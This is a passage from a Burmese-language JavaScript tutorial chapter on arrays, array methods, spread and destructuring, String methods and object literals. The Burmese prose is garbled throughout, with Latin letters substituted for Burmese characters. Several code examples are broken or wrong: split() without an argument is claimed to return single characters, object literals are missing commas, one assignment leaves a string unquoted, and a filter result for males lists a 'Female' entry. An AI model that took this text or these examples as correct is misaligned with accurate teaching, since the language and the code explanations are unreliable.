filter() ရဲ့ထူးgခားချက်ကdတာ့ map() လုိ Item အားလံုးကို gပန်dပးတာ မဟုတ်dတာ့zဲ return
true goစ်တဲ့  Item dတွကိုပဲ gပန်dပးတာပါ။ နမူနာအရ % သdက[တကိုသံုးပြပီး လကရ်ှိတန်oုိးကို  2 နဲ့စား
ပြပီး အကြွကင်းရှာထားပါတယ်။ စာလ့ုိgပတ်ရင် 0 မ့ုိလ့ုိ  false ပါ။ စားလို့မgပတရ်င်dတာ့ အကြွကင်းတန်oုိးတစ်ခု
ရမှာမ့ုိလ့ုိ true ပါ။ 2 နဲ့စားလ့ုိ မgပတ်တဲ့ တန်oုိးဆိုရင် return true goစ်မှာမ့ုိလ့ုိ ရလဒ်အdနနဲ့ 2 နဲ့စား
လ့ုိ မgပတ်တဲ့ မZဏနေန်းdတွချည်းပဲ gပန်ရတာကို dတွ့ရမှာ goစ်ပါတယ်။ စုံကZဏနေန်းdတွ လုိချင်ရင် လွယ်ပါ
တယ်။ NOT Operator ကိုသုံးလုိက်ယံုပါပဲ။ ဒီလုိပါ –



PWD 2022 – အခန်း (၁၆) – JavaScript Arrays & Objects 264

 JavaScript 
let nums = [1, 2, 3, 4, 5]
let result = nums.filter(function(n) {
    return !(n % 2)
})

// result → [2, 4]

ဒီdနရာမှာ  အတိုdကာက်  Function  Expression  dတွသံုးရင်  အများကြကီး  ပုိရှင်းပြပီး  တိdုတာင်းကျစ်လစ်
သွားမှာပါ။ ဒီလုိပါ –

 JavaScript 
let nums = [1, 2, 3, 4, 5]
let result = nums.map(n => n + 1)    // result → [2, 3, 4, 5, 6]
let odd = nums.filter(n => n % 2)    // odd → [1, 3, 5]

တစ်deကာင်းထဲနဲ့ လုိချင်တဲ့ရလဒ်ကို ရသွားတာပါ။ ရိုးရိုး  Function နဲ့ အတူတူပါပဲ။ function, (),
{} နဲ့  return  တို့ကိုoယ်ထုတ်လုိက်ပြပီး => dလးထည့်dပးလုိက်တာပါပဲ။ ဒီလုပ်dဆာင်ချက်dတွကို တွဲ
ပြပီးသံုးမယ်ဆိုရင်လည်း အခုလုိ သံုးနိုင်ပါတယ်။

let nums = [1, 2, 3, 4, 5]
let result = nums.map(n => n + 2).filter(n => n % 2)
// result → [3, 5, 7]

JavaScript  Object  Method  dတရွဲ့  ထူးgခားချက်က အခုလုိ  အတွဲလုိက်  ဆက်ပြပီး  သံုးလုိ့ရgခင်း  goစ်ပါ
တယ်။ Method Chaining လ့ုိdခါ်ပါတယ်။ ဒီdနရာမှာ သတိgပုရမှာက map() ဟာ nums Array dပါ်မှာ
အလုပ်လုပ်သွားတာပါ။  filter() ကdတာ့  map() ကgပန်dပးတဲ့  ရလဒ်  Array  dပါ်မှာ  အလုပ်လုပ်
သွားတာပါ။ nums dပါ်မှာ အလုပ်လုပ်တာ မဟုတ်ပါzူး။

nums.map() → [ Array ].filter() → [ Array ]
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ဒါdလးကို  ကွဲကွဲgပားgပားgမင်မှ  အလုပ်လုပ်ပုံကို  ပံုdoာ်eကည့်နိုင်မှာပါ။  dနာက်ဆုံးတစ်ခုကျန်dနတဲ့
reduce() ကိုdတာ့ အခုလုိ အသံုးgပုနိုင်ပါတယ်။

 JavaScript 
let nums = [2, 3, 4, 5, 6]
let result = nums.reduce(function(a, n) {
    return a + n
})

// result → 20

reduce() ရဲ့  Function Expression  အတွက်  Parameter  နှစ်ခရုှိတာကို သတိgပုပါ။ နမူနာအရ a  က
Accumulative  Value  dခါ်  အလုပ်လုပ်လက်စ  တန်oုိးgoစ်ပြပီး  n  က လက်ရှိအလုပ်လုပ်dနတဲ့  Item  ရဲ့
တန်oုိးgoစ်ပါတယ်။ ပထမတစ်ကြကိမ်မှာ a က null goစ်ပြပီး n က 2 goစ်ပါတယ်။ null + 2 က 2 ပဲမ့ုိလ့ုိ
a တန်oုိး 2 goစ်သွားပါတယ်။ ဒုတိယတစ်ကြကိမ်မှာ a တန်oုိး 2 goစ်dနပြပီး n တန်oုိးက 3 goစ်dနမှာပါ။ a + n
ဟာ 2 + 3 မ့ုိလ့ုိ ရလဒ် 5 ပါ။  a တန်oုိး  5 goစ်သွားပါတယ်။ ဒီနည်းနဲ့ တစ်ခုပြပီးတစ်ခု ဆက်တိုက် အလုပ်
လုပ်သွားတဲ့အခါ dနာက်ဆုံးမှာ Array ထဲက တန်oုိးအားလံုးကို စုdပါင်းထားတဲ့ ရလဒ် 20 ကို ရရိှgခင်းgoစ်
ပါတယ်။ အတိုdကာက်အခုလုိ dရးနိုင်ပါတယ်။

let result = [2, 3, 4, 5, 6].reduce((a, n) => a+ n)
// result → 20

Array Spread & Destructuring
Array dတွကိုgပန်goည်ထုတ်လုိ့ရတဲ့ လုပ်dဆာင်ချက်dတွကိုလည်း ထည့်သွင်းမှတ်သားသင့်ပါတယ်။ Array
Spread  လ့ုိdခါ်တဲ့  လုပ်dဆာင်ချက်ဟာ  Array  တစ်ခုအတွင်းက  Item  dတွကို  တန်oုိးတစ်ခုချင်းစီအgoစ်
ခွဲထုတ်dပးနိုင်ပါတယ်။ အသံုးဝင်နိုင်မယ့် နမူနာdလးတစ်ချ ို ့ dပးချင်ပါတယ်။
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 JavaScript 
let nums = [1, 2, 3]
let alphas = ['a', 'b', 'c']
let result = [ nums, alphas ]
// [ [1, 2, 3], ['a', 'b', 'c'] ]

နမူနာအရ result Array  ထဲမှာ  nums Array  နဲ့  alphas Array  တို့ကို ထည့်dပးလိုက်လ့ုိ  Array  နှစ်
ထပ် goစ်သွားတာကို dတွ့ရမှာ goစ်ပါတယ်။ အ့ဲဒီလုိ နှစ်ထပ်လုိချင်တာဆိုရင် gပဿနာမရှိdပမယ့်၊ အားလံုး
ကို တစ်ထပ်ထဲ တစ်ဆက်ထဲgoစ်dစချင်တာဆိုရင် ဒီအတိုင်းမရdတာ့ပါzူး။ Spread Operator ကို သံုးနိုင်
ပါတယ်။ ဒီလုိပါ – 

 JavaScript 
let nums = [1, 2, 3]
let alphas = ['a', 'b', 'c']
let result = [ ...nums, ...alphas ]    
// [ 1, 2, 3, 'a', 'b', 'c' ]

…  Operator  က  Array  ထဲက  Item  dတွ  တန်oုိးတစ်ခုစီgoစ်သွားdအာင်  ခွဲထုတ်dပးလုိက်တဲ့အတွက်
result Array  ဟာ တစ်ဆက်ထဲ တစ်ထပ်ထဲ goစ်သွားတာကို  dတွ့ရမှာgoစ်ပါတယ်။ ဒီနည်းကိုသံုးပြပီး
Array ရဲ့ dရှ့  (သ့ုိမဟုတ်) dနာက်မှာ တန်oုိးdတွ ထပ်တိုးo့ုိလည်း သံုးeကပါတယ်။ ဒီလုိပါ။

 JavaScript 
let nums = [1, 2, 3]
let four = [ ...nums, 4 ]    // [1, 2, 3, 4]
let zero = [ 0, ...nums ]    // [0, 1, 2, 3]

သတိgပုရမှာကdတာ့ push() တို့ unshift() တို့လုိ မူလ Array တန်oုိးdတွကို gပင်လုိက်တာ မဟုတ်
zဲ  Array  အသစ်တစ်ခု တည်dဆာက်dပးလုိက်တာပဲ goစ်ပါတယ်။ dနာက်ဥပမာ တစ်ခုgပo့ုိအတွက် အခု
လုိ Function တစ်ခရုှိတယ်လို့ သdzာထားပါ။
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 JavaScript 
function add(a, b) {
    return a + b
}

ရိုးရိုးdလးပါ။  Parameter  နှစ်ခုရှိတဲ့  Function  တစ်ခုgoစ်လ့ုိ dခါ်ယူတဲ့အခါ  Argument  နှစ်ခုdပးရမှာပါ။
အခုလုိ Array တစ်ခရုှိတယ် ဆိုeကပါစို့ – 

 JavaScript 
let nums = [123, 456]

ဒီ  Array ထဲကတန်oုိးdတွကို  Argument အdနနဲ့ dပးပြပီး  add Function ကို dခါ်ချင်တယ်ဆိုရင် အခုလုိ
dခါ်ရမှာပါ။

 JavaScript 
add(nums[0], nums[1]) // 579

ပထမ  Argument  အတွက်  nums[0] ကို  dပးလိုက်ပြပီး  ဒုတိယ  Argument  အတွက်  nums[1] ကို
dပးလုိက်တာပါ။  အ့ဲဒီလုိ  dလးdထာင့်ကွင်းdတွနဲ့  Index  တစ်ခုချင်းdထာက်dပးdနမယ့်အစား  အခုလုိ
dပးလုိက်လ့ုိ ရနိုင်ပါတယ်။

 JavaScript 
 add(...nums) // 579

ဒါဆိုရင်  Spread Operator  က  Array  ထဲကတန်oုိးdတွကို  ခွဲgoန့်dပးလုိက်လ့ုိ တူညီတဲ့ရလဒ်ကို  ရရှိမှာပဲ
goစ်ပါတယ်။ ဒါမျ ို းdလးdတွက အdသးအoဲွ့  goည့်စွက်ချက်dလးdတွလ့ုိ dgပာလို့ရပါတယ်။ ဒါdပမယ့်  သိ
ထားo့ုိလုိပါတယ်။  သိမထားရင်  ဒီနည်းနဲ့dရးထားတဲ့  ကုဒ်dတွdတွ့တဲ့အခါ  zာကိုဆိုလုိမှန်း  နားမလည်
တာမျ ို း  goစ်သွားပါလိမ့်မယ်။  ပရိုZရမ်းမင်းကို  dလ့လာတဲ့အခါ  သူများdရးထားတဲ့  ကုဒ်dတွကိုoတ်ပြပီး
dလ့လာတာဟာ ထိdရာက်တဲ့နည်းတစ်ခုgoစ်လ့ုိ သူများdရးထားတဲ့ ကုဒ်ကို oတ်တတ်oုိ့လည်း လုိပါတယ်။
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Array Destructuring လုပ်dဆာင်ချက်လည်း ရှိပါdသးတယ်။ ဒီလုိပါ – 

 JavaScript 
let nums = [123, 456]
let a = nums[0]
let b = nums[1]

ဒါက ရိုးရိုးdရးလုိက်တာပါ။ Array တစ်ခုရှိပြပီး အ့ဲဒီ  Array ထဲက တန်oုိးdတွကို  Index တစ်ခုချင်းdထာက်
ပြပီး သံုးလုိက်တာပါ။ အ့ဲဒီလုိ တစ်ခုချင်းdထာက်မယ့်အစား အခုလုိလည်း dရးလ့ုိရနိုင်ပါတယ်။

 JavaScript 
let nums = [123, 456]
let [a, b] = nums

တူညီတဲ့ရလဒ်ကို ရမှာပဲgoစ်ပါတယ်။ Index တစ်ခုချင်းdထာက်မdနzဲ  Array တစ်ခုလံုးကို dပးလုိက်တာ
ပါ။  လက်ခံတဲ့အခါမှာ  Destructuring  dရးထံုးကိုသံုးပြပီး  လက်ခံထားလ့ုိ  တန်oုိးdတွက  သ့ူdနရာနဲ့သူ
dရာက်ရှိသွားမှာပဲ goစ်ပါတယ်။ Function နဲ့တွဲသုံးတဲ့ နမူနာdလး တစ်ခုလည်း dပးပါဦးမယ်။

 JavaScript 
function add([a, b]) {
    return a + b
}

ဒီတစ်ခါ  add Function မှာ  Parameter  တစ်ခုပဲ ရှိပါတယ်။  Index နှစ်ခုနဲ့  Destructure  လုပ်ပြပီးလက်ခံ
ထားတဲ့ Parameter goစ်လ့ုိ dခါ်ယူအသုံးgပုတဲ့အခါ Index နှစ်ခုရှိတဲ့ Array ကို Argument အdနနဲ့ dပးရ
မှာပါ။

 JavaScript 
let nums = [123, 456]
add(nums) // 579
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Argument အdနနဲ့ nums Array ကိုdပးလုိက်dပးမယ့်၊ လက်ခံစဉ်ကတည်းက a နဲ့ b အgoစ် Destructure
လုပ်ပြပီးလက်ခံထားလ့ုိ Function ရဲ့အတွင်းမှာ အသုံးgပုတဲ့အခါ a နဲ့ b ကို တုိက်ရိုက်အသံုးgပုနိုင်မှာပဲ goစ်
ပါတယ်။

String Object
JavaScript က အရာdတာ်dတာ်များများကို Object ကဲ့သို့ အသံုးgပုနိုင်dအာင် စီစဉ်dပးထားပါတယ်။ dရှ့
ပုိင်းမှာ dလ့လာခဲ့ပြပီးgoစ်တဲ့ String, Boolean, Number, Function တို့လုိ အdgခခံလုပ်dဆာင်ချက်dတွက
အစ Object Wrapper dခါ် အလွှာတစ်ထပ် အုပ်ထားdပးလို့ အ့ဲဒီ String, Boolean, Number, Function
dတွအားလံုးကို  Object  ကဲ့သို့  အသံုးgပုနိုင်ပါတယ်။ သူတို့မှာလည်း  Standard Property  dတွ  Method
dတရွှိdနပါတယ်။

ဥပမာ  Number  တစ်ခုကို  ဒဿမကိန်းအdရအတွက်  ပုိင်းgoတ်လုိရင်  toFixed() ဆိုတဲ့  Method  ကို
အသံုးgပုနိုင်ပါတယ်။ ဒီလုိပါ –

 JavaScript 
let num = 3.14159
num.toFixed(3)    // 3.142

toFixed() အတွက်  Argument  အdနနဲ့  3  ကိုdပးလုိက်လုိ့  ဒဿမကိန်းသုံးလံုး  goတ်ယူdပးတာကို
dတွ့ရမှာပဲ  goစ်ပါတယ်။  ဒီလုိ  Dot  Operator  နဲ့  အသုံးgပုလ့ုိရdနတယ်ဆိုတာ  Number  ကိုယ်တိုင်က
Object တစ်ခုgoစ်dနလ့ုိပါ။ တနည်းအားgoင့် Object ကဲ့သို့ သံုးလ့ုိရdအာင် JavaScript ကလုပ်ထားdပးလ့ုိ
ပါ။  ဒီ  Object  dတွထဲကမှ  မှတ်သားသင့်တဲ့  အသံုးဝင်တဲ့  လုပ်dဆာင်ချက်dတွ  ပါဝင်dနတဲ့  String
အdeကာင်းကို dရွးထုတ်ပြပီးdတာ့ dgပာချင်ပါတယ်။

Array Object တစ်ခုတည်dဆာက်oုိ့ Array Object Constructor နဲ့ Array Literal ဆိုပြပီး နှစ်မျ ို းရှိသလိုပဲ
String  Object  တစ်ခုတည်dဆာက်oုိ့အတွက်  String  Constructor  နဲ့  String  Literal  (သ့ုိမဟုတ်)
Template Literal တို့ကို အသံုးgပုနိုင်ပါတယ်။ Single Quote နဲ့ Double Quote ကို String Literal အdန
နဲ့ အသံုးgပုရပြပီး Back Tick ကိုdတာ့ Template Literal အdနနဲ့ အသံုးgပုရတာပါ။
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 JavaScript 
let name = "Bob"
let greet = `Hello ${name}`
let welcome = new String("Welcome")
name.length    // 3
welcome.length    // 7
'Hello'.length    // 5

နမူနာမှာ  String  deကညာပံု  အမျ ို းမျ ို းကိုdပးထားပါတယ်။  deကညာပံုထက်ပုိပြပီး  သတိgပုရမှာကdတာ့
String  dတွမှာ  length လ့ုိdခါ်တဲ့  Property  ရိှdနgခင်းပဲgoစ်ပါတယ်။  Object  မ့ုိလ့ုိ  Property  ရှိdနတာ
ပါ။ length တင်မကပါzူး Index လည်း ရိှပါdသးတယ်။ ဒီလုိပါ –

 JavaScript 
let name = "Alice"
name[2]    // i
name.charAt(0)    // A

name String ရဲ့  Index 2 ဟာ i goစ်တယ်ဆိုတာကို dတွ့ရမှာပဲ goစ်ပါတယ်။ ဒါ့အgပင် charAt() လ့ုိ
dခါ်တဲ့  Standard  String  Method  နဲ့  Index  0  မှာရှိတဲ့တန်oုိးကို  ရယူနိုင်တာကိုလည်း  dတွ့ရမှာပါ။
တgခားအသံုးဝင်တဲ့  Method  ကdတာ့  toUpperCase(),  toLowerCase(),  trim(),
substr() နဲ့ split() တို့ပဲ goစ်ပါတယ်။

• toUpperCase() Method ကို စာလံုး အကြကီးdတွdgပာင်းo့ုိ သံုးပါတယ်။
• toLowerCase() ကိုdတာ့ စာလံုး အdသးdတွdgပာင်းoို့ သံုးပါတယ်။
• trim() ကို dရှ့ဆုံးနဲ့ dနာက်ဆုံးက Space dတွရှင်းoုိ့သံုးပါတယ်။
• substr() ကိုdတာ့ လုိချင်တဲ့အပုိင်း goတ်ယူoို့သံုးပါတယ်။
• split() ကိုdတာ့ အပုိင်းပုိင်း ခွဲထုတ်o့ုိ သံုးပါတယ်။
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 JavaScript 
let name = "Alice"
name.toUpperCase()   // ALICE
name.toLowerCase()   // alice
name.substr(0, 3)   // Ali

substr() အတွက် Argument နှစ်ခုdပးတဲ့အခါ ပထမတစ်ခုက Index goစ်ပြပီး ဒုတိယတစ်ခုက စာလံုး
အdရအတွက်goစ်ပါတယ်။ ဒါdeကာင့်နမူနာမှာ ထိပ်ဆုံးကdနစပြပီး သံုးလံုးdoာ်gပdနတာပါ။

 JavaScript 
let text = "  Hello World "
text.trim()   // Hello World

trim() Method က String ရဲ့ dရှ့နဲ့dနာက်က Space dတွကို oယ်ထုတ်dပးသွားတာပါ။

let text = "Hello World"
text.split(" ")  // ["Hello", "World"]
text.split()
// ["H", "e", "l", "l", "o", " ", "W", "o", "r", "l", "d"]

split() Method အတွက် Space တစ်ခုကို  Argument အdနနဲ့ dပးလုိက်တဲ့အခါ Space နဲ့ ပုိင်းgoတ်
ပြပီး ပုိင်းgoတ်လုိ့ရလာတဲ့ ရလဒ်ကို  Array  တစ်ခုအdနနဲ့ gပန်dပးတာကို dတွ့ရမှာပါ။  Argument  မdပးတဲ့
အခါမှာdတာ့ ရှိသမျှ Character အားလံုးကို တစ်လံုးစီခွဲထုတ်လုိက်ပြပီး ရလဒ်ကို Array အdနနဲ့ gပန်dပးမှာ
ပဲ goစ်ပါတယ်။

String  ရဲ့  split() နဲ့  Array  ရဲ့  join() dတွကို  တွဲပြပီးသံုးeကdလ့ရှိပါတယ်။  Array  dတွကို  String
dgပာင်းချင်တဲ့အခါနဲ့ String dတွကို Array dgပာင်းချင်တဲ့အခါမျ ို းမှာ အလွန်အသံုးဝင်ပါတယ်။



PWD 2022 – အခန်း (၁၆) – JavaScript Arrays & Objects 272

String Method  dတွထဲမှာ  search() နဲ့  replace() ဆိုတဲ့  Method  dတွလည်း အသုံးဝင်ပါdသး
တယ်။ ဒါdပမယ့် ဒီ Method dတွကို အသံုးgပုနိုင်o့ုိအတွက် Regular Expression ဆိုတဲ့နည်းပညာတစ်မျ ို း
ကို  သိထားo့ုိလုိပါတယ်။  Regular  Expression  ဟာ  အနည်းငယ်  ခက်ခတဲဲ့  အdeကာင်းအရာgoစ်လုိ့
ထည့်သွင်းdoာ်gပo့ုိ မသင့်dတာ်dသးzူးလ့ုိ ယူဆပါတယ်။ ဒါdeကာင့် dနာင်တစ်ချနိ်မှာ ဆက်လက်dလ့လာ
ရမယ့် စာရင်းထဲမှာ ထည့်ထားလုိက်dစချင်ပါတယ်။

Standard Object  dတွကို  လုိအပ်သလုိ gပင်ဆင်goည့်စွက်လို့လည်း ရပါdသးတယ်။ ဒီနည်းကိုသံုးo့ုိ  အား
မdပးdပမယ့် ရှိမှန်းသိdအာင်dတာ့ ထည့်dgပာgပချင်ပါတယ်။ ဒီလုိပါ – 

 JavaScript 
String.prototype.greet = function() {
    return "Hello, World"
}

ဒါဟာ Standard String Object မှာ greet() Method တစ်ခု ထပ်တိုးလုိက်တာပါ။ ဒါdeကာင့် String
အားလံုးမှာ ဒီ Method ရှိသွားပါပြပီ။ အခုလုိ စမ်းeကည့်နိုင်ပါတယ်။

 JavaScript 
let str = "Some String"
str.greet()    // Hello, World

dတာ်dတာ်dလး  လန့်oို့dကာင်းတဲ့  လုပ်dဆာင်ချက်ပါ။  မဆင်မgခင်အသံုးgပုသူရဲ့  လက်ထဲမှာ  Standard
Object  dတွအကုန် ကdမာက်ကမ goစ်ကုန်နိုင်dစလ့ုိပါ။ ဒါdeကာင့် လက်dတွ့သံုးo့ုိထက် ဒါမျ ို းရှိတယ်ဆို
တာကို သိdအာင်သာ ထည့်dgပာလုိက်တာပါ။

Creating Objects
Array  တစ်ခတုည်dဆာက်o့ုိအတွက်  Array  Constructor  ကိုသုံးလ့ုိရသလုိ  Array  Literal  goစ်တဲ့
dလးdထာင့်ကွင်းကိုလည်း  သံုးနိုင်သလုိပါပဲ  Object  တစ်ခတုည်dဆာက်o့ုိအတွက်လည်း  Object
Constructor ကိုသံုးနိုင်သလုိ Object Literal Operator အgoစ် တွန့်ကွင်းအoွင့်အပိတ်ကို သံုးနိုင်ပါတယ်။
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 JavaScript 
let cat = { }

ဒါဟာ  cat ဆိုတဲ့  Object  အလွတ်တစ်ခုကို  တည်dဆာက်လုိက်တာပါ။  Object  တစ်ခုgoစ်တဲ့အတွက်
Standard  Property  dတွ  Method  dတွရှိdပမယ့်  ကိုယ်တိုင်သတ်မှတ်dပးထားတဲ့  Property  dတွ
Method dတွdတာ့ မရှိdသးပါzူး။

 JavaScript 
let cat = { color: "Yellow", legs: 4 }

ဒီတစ်ခါdတာ့  cat Object  တစ်ခတုည်dဆာက်စဉ်မှာ  color နဲ့  legs လ့ုိdခါ်တဲ့  Property (၂)  ခုကို
တစ်ခါထဲ  ထည့်သွင်းသတ်မှတ်လုိက်တာပါ။  dရးထံုးအရ  Property  နဲ့  Value  ကို  Full-Colon
သdက[တdလးနဲ့ ပုိင်းgခားပြပီးdတာ့ dရးdပးရပါတယ်။ Property အမည်dတွကို နမူနာမှာ dပးထားသလုိ ဒီ
အတိုင်း dရးလို့ရသလုိ String တစ်ခုကဲ့သ့ုိ Quote အoွင့်အပိတ်နဲ့ dရးလ့ုိလည်း ရပါတယ်။ Property dတွ
များလ့ုိ oတရ်တာ ခက်မှာစိုးရင် အခုလုိလုိင်းdတွခွဲပြပီးdတာ့လည်း dရးလို့ရပါတယ်။

 JavaScript 
let cat = {
    color: "Yellow",
    name: "Shwe War",
    legs: 4,
}

Property တစ်ခုနဲ့တစ်ခုကို Comma နဲ့gခားdပးရတဲ့အခါ ထူးgခားချက်အdနနဲ့ dပးထားတဲ့ နမူနာမှာ dတွ့
gမင်ရသလို dနာက်ဆုံးမှာ  Comma တစ်ခု အပုိပါလ့ုိ ရပါတယ်။ Trailing Comma လ့ုိdခါ်ပါတယ်။ အရင်
က ဒီလုိdနာက်ဆုံးမှာ တစ်ခုပုိdနလ့ုိ မရပါzူး။ အခုdနာက်ပုိင်းမှ ရလာတာပါ။ ဒီလုိdနာက်ဆုံးမှာ အပုိတစ်
ခုပါလို့ရတဲ့အတွက်  လုိအပ်လ့ုိ  Property  dတွ  ထပ်တိုးတဲ့အခါ၊  တစ်dနရာမှာ  မdတာ်တဆ  Comma
dမ့ကျန်ခဲ့တယ် ဆိုတဲ့အမှားမျ ို းdတွ dလျာ့နည်းသွားdစပါတယ်။
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ဒီ   Object   ကို   Property (  ၃  )   ခုပါတဲ့   Object   တစ်ခုလ့ုိ gမင်eကည့်လို့ရသလုိ   Index (  ၃  )   ခုပါတဲ့   Array   တစ်ခု  
လ့ုိလည်း gမင်eကည့်လ့ုိရပါတယ်။ Index dတွက Number မဟုတ်dတာz့ဲ String goစ်သွားတာပဲ ကွာသွား
တာပါ။ Index ကို Key လ့ုိလည်း dခါ်eကပါdသးတယ်။ ဒီလုိပါ –  

color name legs
Yellow Shwe War 4

တစ်ကယ်dတာ့  gမင်eကည့်ယုံတင်  မဟုတ်ပါzူး။  လက်dတွ့အသံုးgပုတဲ့အခါမှာလည်း  နှစ်မျ ို းသံုးလို့ရပါ
တယ်။  Array  Index  dထာက်သလုိ  dလးdထာင့်ကွင်းအoွင့်အပိတ်နဲ့  dရးသားအသုံးgပုနိုင်သလုိ  Object
Property ကိုရယူသလုိ Dot Operator နဲ့လည်း dရးသားအသံုးgပုနိုင်ပါတယ်။

 JavaScript 
cat.legs    // 4
cat["color"]    // Yellow

Property တန်oုိးdတွ gပင်ဆင်တာ၊ goည့်စွက်တာdတွကိုလည်း နှစ်မျ ို းdရးလ့ုိရတာပါပဲ။

 JavaScript 
let bird = { color: "Green", legs: 2 }
bird.name = "Shwe Gal"
bird["color"] = "Blue"

Dot  Operator  ကိုသုံးပြပီး  name Property  တစ်ခုထပ်တိုးထားသလုိ  dလးdထာင့်ကွင်းကိုသုံးပြပီးdတာ့
လည်း  color Index  ကတန်oုိးကို gပင်gပထားပါတယ်။ ဒါdeကာင့် အခုdန bird Object  ရဲ့oဲွ့စည်းပံုက
အခုလုိပံုစံ goစ်dနမှာပါ။

color name legs
Blue Shwe Gal 2
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Object ဆိုတာ ရှုပ်dထွးတဲ့ သdzာသzာဝတစ်ခုပါ။ အ့ဲဒီလုိ ရှုပ်dထွးတဲ့ သdzာသzာဝကို ပုိပြပီးရိုးရှင်း
တဲ့  Array တစ်ခုကဲ့သ့ုိ gမင်eကည့်ရတာ ပုိလွယ်မယ်ထင်လ့ုိ နှိုင်းယှဉ်doာ်gပခဲ့တာပါ။ dရးထံုးကလည်း ရှိdန
တယ်dလ။ လက်dတွ့dရးသားတဲ့အခါ Dot Operator နဲ့ သံုးရတဲ့ Object Property dရးထံုးက dရးရတာ
ပုိgမန်သလုိ oတ်ရတာလည်း ပုိရှင်းပါလိမ့်မယ်။

Array  မှာ  Spread  နဲ့  Destructuring  လုပ်dဆာင်ချက် ရိှသလိုပဲ  Object  dတွမှာလည်း ရှိပါတယ်။ dရး
နည်းက အတူတူပါပဲ။ ဒါdeကာင့် အကုန်dတာ့ gပန်မdgပာdတာ့ပါzူး။ ဥပမာdလးတစ်ချ ို ့ပဲ ထည့်dပးလုိက်
ပါdတာ့မယ်။

 JavaScript 
let user = { name: "Bob", age: 22 }
function greet({name, age}) {
    return `Hello ${name}, you are ${age} years old`
}

greet(user)        // Hello Bob, you are 22 years old
let { name, age } = user
// name → Bob
// age → 22

Object  မှာ  Method  dတွသတ်မှတ်o့ုိအတွက်  Function  Expression  dတွကိုပဲ  သံုးနိုင်ပါတယ်။
သက်ဆိုင်ရာ Index မှာ ရိုးရိုးတန်oုိး dပးမယ့်အစား Function တစ်ခုdပးလုိက်ရတာပါ။ ဒီလုိပါ – 

 JavaScript 
let user = {
    name: "Bob"
    hello: function() {
        return `Hello, I'm ${this.name}`
    }
}

user.name    // Bob
user.name = Alice
user.hello()    // Hello, I'm Alice
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ဒါဟာ name Property နဲ့ hello Method တို့ပါဝင်တဲ့ Object တစ်ခုgoစ်ပါတယ်။ hello Method ဟာ
name Property ကို အသံုးgပုထားတာ သတိgပုပါ။ Object ရဲ့ ကိုယ်ပုိင် Property dတွ Method dတွကို
အသံုးgပုလိုရင် this Keyword ကို အသံုးgပုရပါတယ်။

Object  Method  dတွကို  အတိုdကာက်dရးတဲ့နည်း  ရှိပါdသးတယ်။  အdပါ်ကနမူနာကို  အခုလိdုရးရင်
လည်း ရပါတယ်။ အတူတူပါပဲ – 

 JavaScript 
let user = {
    name: "Bob"
    hello() {
        return `Hello, I'm ${this.name}`
    }
}

Object dတွoန်တီးတဲ့အခါ ဒီလုိအdgခအdနမျ ို းကိုလည်း မeကာခဏနေ ကြကုံရနိုင်ပါတယ်။

 JavaScript 
let name = "Alice"
let age = 22
let user = {
    name: name,
    age: age
}

Property အမည်နဲ့ အသုံးgပုလုိတဲ့ Variable တူdနတာပါ။ အ့ဲဒီလုိ တူdနတဲ့အခါ နှစ်ခါdရးစရာ မလုိပါzူး၊
အခုလုိ အတိုdကာက်dရးလုိက်လ့ုိရပါတယ်။

 JavaScript 
let name = "Alice"
let age = 22
let user = { name, age }
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ကျစ်ကျစ်လစ်လစ် တုိတိုတုတ်တုတ် goစ်သွားတာပါ။ ဒီနည်းကို Property Shorthand လ့ုိ dခါ်ပါတယ်။

Object တစ်ခုတည်dဆာက်မှုနဲ့ ပက်သက်ပြပီး သိသင့်တာdလးdတွ ကျန်ပါdသးတယ်။ အ့ဲဒီအdeကာင်းdတွ
ကို  Object-Oriented  Programming  အခန်းdရာက်တဲ့အခါ  ဆက်လက်doာ်gပပါမယ်။  ဒီdနရာမှာ
ထည့်သွင်းပြပီးdတာ့ dgပာချင်တာကdတာ့ Object Array goစ်ပါတယ်။ ပရိုZရမ်းမင်း အdeကာင်းdလ့လာတဲ့
အခါ  Data  Structure  လ့ုိ  dခါ်တဲ့  အချက်အလက်  စုoဲွ့ပုံဆိုင်ရာ  သdzာသzာဝdတွကို  ထည့်သွင်း
dလ့လာeကရပါတယ်။ သီအုိရီအရ Arrays အgပင် Stacks, Queues, Linked List, Trees, Graphs စသgoင့်
Data Structure  အမျ ို းအစား အမျ ို းမျ ို းရှိdပမယ့်  JavaScript  မှာdတာ့  Object  dတွ  Array  dတွကိုသာ
လုိအပ်သလုိ dပါင်းစပ်ပြပီးdတာ့ အသံုးgပုeကပါတယ်။

ဥပမာ - လူတစ်dယာက်ရဲ့ အချက်အလက်dတွကို စုoဲွ့ထားလုိတဲ့အခါ အခုလုိထားနိုင်ပါတယ်။

 JavaScript 
let person = {
    name: "Bob",
    age: 22,
    education: [
        "B.Sc.",
        "MBA",
    ]
}

Object နဲ့  Array ကိုပဲ dပါင်းစပ် စုoဲွ့လုိက်တာပါ။ အကယ်၍ လူdတွအများကြကီးရဲ့ အချက်အလက်ကို စုoဲွ့
ထားလုိရင်dတာ့ အခုလုိgoစ်နိုင်ပါတယ်။

 Pseudocode 
let people = [
    { name: "Alice", age: 21, gender: "Female" },
    { name: "Bob", age: 22, gender: "Male" },
    ...
    { name: "Zack", age: 24, gender: "Male" },
]
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Object  dတွကိုပဲ  Array  တစ်ခုနဲ့စုoွဲ့ထားdပးလုိက်တာပါ။ ဒီနည်းနဲ့  JavaScript  မှာ အချက်အလက်dတွ
ကို စုoဲွ့စီမံeကdလ့ရှိတယ်ဆိုတာကို မှတ်သားထားနိုင်ပါတယ်။ အထက်မှာ dgပာခဲ့တဲ့ Array Methods dတွ
နဲ့  dပါင်းစပ်လုိက်တဲ့အခါ  အdတာ်dလးgပည့်စုံတဲ့  အချက်အလက်စီမံမှုစနစ်ကို  ရရိှနိုင်ပါတယ်။  ဥပမာ  -
people ကdန အမည်dတွချင်း ထုတ်ယူချင်ရင် အခုလုိ ယူလ့ုိရနိုင်ပါတယ်။

 JavaScript 
people.map( p => p.name )    // [ "Alice", "Bob", … , "Zack" ]

အကယ်၍ Male dတွချည်းပဲ dရးွထုတ်ချင်တယ်ဆိုရင် အခုလုိ dရွးယူနိုင်ပါတယ်။

 JavaScript 
people.filter( p => p.gender === "Male")
 
/* [ 
    {name: "Bob", age: 22, gender: "Male" },
    … , 
    {name: "Zack", age: 24, gender: "Female" } 
] */

Object  ကို  Data  အdနနဲ့ အသံုးgပုတဲ့dနရာမှာ  JSON လ့ုိdခါ်တဲ့ သdzာသzာဝ တစ်ခုလည်း ရှိပါdသး
